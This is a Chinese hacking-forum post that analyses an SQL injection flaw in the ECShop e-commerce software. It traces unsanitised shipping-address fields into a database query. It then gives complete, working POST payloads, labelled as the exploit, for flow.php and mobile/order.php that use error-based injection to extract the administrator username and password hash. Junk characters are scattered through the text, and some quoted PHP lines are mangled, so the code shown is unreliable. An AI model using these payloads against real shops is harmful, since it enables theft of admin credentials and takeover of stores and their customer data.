中国网络渗透测试联盟

标题: ecshop全版本注入分析 [打印本页]

作者: admin    时间: 2013-1-13 09:48
标题: ecshop全版本注入分析
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。4 B& t4 p! h( ?

! [* B5 w1 C. ~( X+ L    漏洞关键文件:% b# w: K# a1 |
5 o/ m  b, v# K; N! C
    /includes/lib_order.php( ^- F' Z/ M8 V$ |
1 b/ Z' H1 {4 _( y8 {( T% u; G
    关键函数:5 C# W& V2 n4 ?# @* j! ]# h- L# x
6 v9 w4 s/ P1 D1 \/ D; ~

7 \- ?7 _& e! f. |/ Q4 B. l
8 z# N+ y  Q. B7 {) n+ a3 v01     function available_shipping_list($region_id_list) 8 V  k  b. d5 R& e% i1 U! V
: S) M+ p  s, [1 [+ J; w9 m* g  v
02 { 7 |( Y$ @* `3 ?3 k$ D1 k5 [+ o

( ^5 d: h; Z8 P0 O! l, U03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
0 V# g$ f- O( h. J4 {  C& C
! g! q6 `2 v* g* u1 o04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' . 0 D  e' W6 h, ~$ Y

& e3 y0 x4 P! ~05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . / ], v3 W* e2 r& |, ?+ j" o' e* m
; ]6 \5 q9 G5 p
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
* n3 R6 G  D9 J
% N5 B& a3 T2 Y. ?/ y6 n* U07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
$ `2 q# S! L& ]9 K+ l. e. A; K9 I
08             'WHERE r.region_id ' . db_create_in($region_id_list) . 2 e. g3 w& H+ [1 [7 W% C

  @$ }4 o6 B! Z  _1 k09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; " m( C# {% @/ I
5 M/ d# b5 q$ f
10   7 U; j& r* Q) `2 U3 P

9 |: Z2 P" d' V11     return $GLOBALS['db']->getAll($sql);
/ Q) h7 o4 e6 B, z( B- O+ m, E! W# p9 C5 A
12 } - h  s5 m/ g2 }$ K9 l5 V
" Q* P  w. N" P5 N$ G
显然对传入的参数没有任何过滤就带入了查询语句。
; L) U) ?( u: i$ g, [ : z7 B" C* |' H) o& i- X
下面我们追踪这个函数在flow.php中:; H- K& h) P2 D% E' P+ X
第531行:   6 E6 T% v2 R3 V$ M# x6 y8 z$ q; N
2 O7 X) X4 e7 Z9 z6 T! x. `+ D( Z
1 $shipping_list     = available_shipping_list($region);
2 m5 h, H+ N: u4 I5 F+ j; Y
: K8 w1 a! B$ _# B, R : U5 U& d- U: V' X! c1 W9 M# Z

3 {2 l8 }# M$ q5 K ' L* P& G/ c- o$ J5 p
- t7 N5 ^! _# x7 a+ V8 H7 s
再对传入变量进行追踪:
: k" J1 B/ q! W
* b8 L9 Q5 j. k第530行:    2 j3 N+ _1 Z! X6 E3 w. j( v

- }6 c, a, z0 G3 S; {- ?1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); ! S3 B1 o# e5 q1 }' R# v
# h0 f6 i' b0 {- t$ }

4 B# v0 L9 E& m+ G0 S( x
* F. v/ o% d; P. m2 R; {
4 H/ X" b- U+ ]7 K4 V
0 ~& r, l/ e% P. b6 X2 D! F第473行:        
0 L  n  v" ?& d
- k1 d1 |: ]: A1 o$ s) _, d! D1 $consignee = get_consignee($_SESSION['user_id']); ' |9 n; @8 x& w* O, T
0 |# T+ j4 c+ m0 [8 q, z
到了一个关键函数:$ x) ~, ?" U& u

6 K  f' k3 y7 ^6 L+ f* J/includes/lib_order.php, M9 w9 a- M, ~' c. ]! P7 ~

8 c' U3 b; o; k1 f7 T
0 r- _5 w6 M& A( ]" G, m! \% g1 C3 H6 f0 X/ u
) ]7 z; z( l$ U, K. V2 @/ ?, b

1 u+ W; a( @" @5 D01 function get_consignee($user_id)
2 g2 U8 F% r  A' F2 v% H' i5 |$ b7 ^! o* _, t* O
02 {
" A8 q; Q& v1 L' D6 Q. n
: u( P1 C3 ]6 P) n03     if (isset($_SESSION['flow_consignee'])) ( F6 X+ T; a# M4 s7 @

4 [4 Z: r' {" S/ A04     {
1 X  D5 c7 M; B; l3 M
' l9 O* R# F6 w# V" g5 D05         /* 如果存在session,则直接返回session中的收货人信息 */ ( d: G2 |$ R+ n& c$ |

8 J% F6 {/ J5 w06   
$ K+ ?) e3 b$ v
* J, h% w9 i; K/ n. b07         return $_SESSION['flow_consignee']; * I: o+ S: C! P( x  ]& S1 m

0 w: C: E& I8 y6 n' b08     }
+ s+ Y$ g1 i. t) c* g# V6 C, U9 U/ e' p' w  l) n9 d" u& g
09     else $ O. k, J. h' |# c

1 O; m6 {7 b* l: A/ S10     { ' U9 N' R4 d4 k! ^3 X% D6 S

9 N' [+ T0 b$ p3 N8 D6 E11         /* 如果不存在,则取得用户的默认收货人信息 */ $ ^6 [8 q4 e4 E& }

2 v' W* O) }" w2 h9 g12         $arr = array();
6 `# F  a! G6 Q' f
# n, I* H3 _& g% Y  k13   7 x" W, r3 D2 g: J: _  D1 K9 g
: U! u& t5 V5 K2 P0 w
14         if ($user_id > 0) - _4 f9 S% V( H& C

8 {! \: G2 C5 S2 Z! `$ q15         {
& S) G/ d# p7 c3 x) Y6 I7 `
/ N) u! R) s8 V4 |& A. l% G- A16             /* 取默认地址 */
* X9 @+ u3 Z/ F5 E& N7 v! ^) Y( ~/ f* y5 C4 l& J
17             $sql = "SELECT ua.*".
: P' W5 N$ E. ?. v3 Z1 `; y3 t
' \2 F  Z% i0 R! i18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. % V, @5 n% y# U
$ E) L8 x" _0 z7 D! x1 o, F, q
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";
, z5 ]# x1 d  t' u0 ?+ _
: h" W4 U! I1 l" N20   
" f5 M2 Q+ @! ^( i3 i9 O8 A) ^. \- O& C/ f
21             $arr = $GLOBALS['db']->getRow($sql);
: |5 D1 O) I% c8 T, w1 q5 M2 O9 k3 o' S! n: C" _  e
22         } : Q4 l/ B7 z. g# i) Y

" F1 ]2 a! i& m) }. F+ e! W23   
' o" M$ C# Z. v$ `: m
+ V/ T$ |% ^: ~24         return $arr;
' s7 ^4 ?* B- ~0 H5 _; ^  @* Y* K  ]& g; n  U0 @
25     }
* B2 d# @. \9 k1 U
5 j9 j( h) y0 x* U" W8 J3 i26 }
( _9 t& }) e. j* D- H# Z/ i# i- w; X* A# o9 s
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?  Q+ b( V7 K9 r* X4 [: y

' v( i; D1 `: H- b
8 A# i0 J/ @7 ]  H% q+ i1 s& {; Y
: f+ x6 \* \9 m- C关键点:
" a$ m! T) ^$ @$ r& k
; Q' t, g% B% M3 z/ @8 X  A) J" U第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);! t, S1 B) }7 q: A* O7 D3 o
/ X) N/ k6 `: D% z* A1 k
这里对传入参数反转义存入$_SESSION中。. o* Z4 F) m$ b" M# E8 h

- g+ D$ k. P" k$ V; x- @ 5 E" ]0 j" ^6 l& _# N
; {* t& }  N1 Y9 k# @
然后看下:
- \4 M1 _# E$ H2 T
; E8 \! C2 r& i; L3 Z 1 x, y: [. k. D7 t- `
; b  @6 m& ?4 {$ Y& w# D3 ~
    7 N; ~& D- K8 t# W
+ D/ W% V5 Q3 U% E
01 $consignee = array(
3 m0 b; Q  h3 s; A1 w9 w* f7 Z' M# t8 ^
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
/ s  C& Z% u9 G+ [
  g- \7 k3 i* F: B* O& x03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),   O) |4 r* I/ {
4 v2 f6 H+ ?6 [. P2 W( g9 V
04         'country'       => empty($_POST['country'])    ? '' _POST['country'], % g$ M7 R5 ]5 ~

- n9 i) s0 ?5 c$ k05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
; D8 G# u; z/ a8 l9 y# x4 h  _
( q, U. U  n/ x- M& H+ U; |& L06         'city'          => empty($_POST['city'])       ? '' _POST['city'], , T; j  _% I) i! H: ^4 J

' {3 I. t; k& V) Q$ k% W/ `) i" j07         'district'      => empty($_POST['district'])   ? '' _POST['district'], ' T8 g6 B" \2 F% P" u# `- L. N, P
0 A! @6 }5 ~7 H5 |
08         'email'         => empty($_POST['email'])      ? '' _POST['email'], ! i' o0 e; Z8 |9 t* h; v. z
* H0 u6 F0 e( a/ J- E
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
% P/ W& H7 b# s4 g% B% n7 O, t" w9 {( N
10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),
: q7 t3 o$ Y5 y% s; w, g
# W3 R5 Y  C2 M- z# V" |4 M5 z) i& {11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), 9 N0 J1 F8 M' @6 r8 _

! {0 }8 v$ d4 u$ N: J1 ]% H& R12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), : i+ h. {# `: B! W+ x

4 Y2 r! N+ f* ^& c) @' g0 f. F' n; d13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ' \: X* r3 F% _' L( q, j' z
- i2 |+ ^! t: T/ a; p
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
" h* Z3 [6 ?! R! i: r6 Q1 a! x. @+ A. \" I
15     ); & M' t1 |: @9 o( `& g

. d, A4 W$ Z+ p3 Q: J! I" G" S% }好了注入就这样出现了。
; \3 N2 M% r9 a) j
: j( X2 L. |! q/ D7 F; U5 [==================- P/ l* G4 {: q0 C( Q4 y

- L2 Z9 X) F7 Y, {' L# L% e注入测试:
3 c! ?& s0 c% N$ }, [
- t2 |# X+ d) r6 Q环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)$ V  Q6 ~  R* v) Z# f
! ~3 ?. L3 u3 B" G) X- o
测试程序:ECShop_V2.7.3_UTF8_release11060 K# K* F7 y2 V0 b% c/ o
9 z  `# ?; V7 W- d( g* s  d* F( T
3 Q3 t8 x5 L* f! g  w4 D

" d/ [! r- n  k; @1.首先需要点击一个商品加入购物车
% l9 k0 j: n" `7 ]7 O
9 L2 ?- t! [$ b# L" I, P2.注册一个会员帐号5 V' A3 X: g4 O5 e- \# z

$ Q" @$ S" g5 o' q) F3.post提交数据& ?/ s- v% U* o

- }7 Y+ ^% I3 ~# E0 e- ]
, ~+ s7 r& J, \" o& ~9 r, R6 H5 E- N
1 http://127.0.0.1/ecshop/flow.php 9 A9 b+ ~& M& d& X* c% m
9 {) n  k/ s1 S8 P, O! R* Q* P
2   
4 o8 ]6 R; ~% f$ Q, J7 F( u9 l" J5 y" n3 T7 Q- x; [7 j! Q
3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= . x6 K) @. i* d& R- Q! {
举一反三,我们根据这个漏洞我们可以继续深入挖掘:# \1 H; a' Z# i: t1 h5 d8 s( I

, h6 a# C0 l, D. E2 p$ G3 e  W6 v8 Y我们搜寻关键函数function available_shipping_list()3 C5 ?( @" N0 A+ {5 {
) E. O+ t0 Z! Z) H1 V8 X
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同7 k6 X+ m: F1 L# I3 t

" N" y9 S/ D, Z! ~% m7 A' W利用exp:
/ k, C4 f) ^; Z3 `5 O& [( n$ s9 q1 N/ F" }5 h$ ^1 T
1.点击一个商品,点击购买商标1 @& P' Q  s+ K7 r1 _% ?
# ^: ~2 |- g$ m  C- @. s6 V
2.登录会员帐号' n$ h. g  ^( D4 m0 M8 L

5 z0 I  @7 q* t/ F; }3.post提交:
% N1 K( v4 O8 t+ p' g4 ~0 T
  d% h5 d9 y. C' j& d: o% Lhttp://127.0.0.1/ecshop/mobile/order.php" l+ p4 L5 Q2 \
/ q0 Q; u7 y, E: D0 O

& F$ u. V, G0 m; t4 \: R3 d  S7 y3 B+ r5 x  X# K
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=$ E3 ^, G) x) h
1 q/ g2 r6 M* |( n/ d





欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2